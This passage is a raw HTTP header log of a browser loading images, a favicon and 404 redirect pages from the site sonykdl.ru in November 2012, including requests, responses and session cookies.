Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:34:38 GMT
Etag: &quot;de802b-97-465d0df221b80&quot;
Accept-Ranges: bytes
Content-Length: 151
GET /images/a3.jpg HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:34:38 GMT
Etag: &quot;de802a-dc3-465d0df221b80&quot;
Accept-Ranges: bytes
Content-Length: 3523
GET /images/c2.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:07 GMT
Etag: &quot;de8032-2d-465d0e0dc9cc0&quot;
Accept-Ranges: bytes
Content-Length: 45
GET /images/menu24.png HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 302 Found

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /404.htm?q=L2ltYWdlcy9tZW51MjQucG5n
Content-Length: 0
GET /database/8388.jpg HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:27:48 GMT
Etag: &quot;de41f3-8ee7-465d0c6b20100&quot;
Accept-Ranges: bytes
Content-Length: 36583
GET /images/c6.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:07 GMT
Etag: &quot;de8033-3709-465d0e0dc9cc0&quot;
Accept-Ranges: bytes
Content-Length: 14089
GET /favicon.ico HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 302 Found

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /404.htm?q=L2Zhdmljb24uaWNv
Content-Length: 0
GET /favicon.ico HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 302 Found

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:45 GMT
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /404.htm?q=L2Zhdmljb24uaWNv
Content-Length: 0
GET /404.htm?q=L2Zhdmljb24uaWNv HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:45 GMT
Transfer-Encoding: chunked
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
GET /404.htm?q=L2Zhdmljb24uaWNv HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:44 GMT
Transfer-Encoding: chunked
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
GET /404.htm?q=L2Zhdmljb24uaWNv HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:42 GMT
Transfer-Encoding: chunked
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
GET /404.htm?q=L2ltYWdlcy9tZW51MjQucG5n HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:43 GMT
Transfer-Encoding: chunked
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache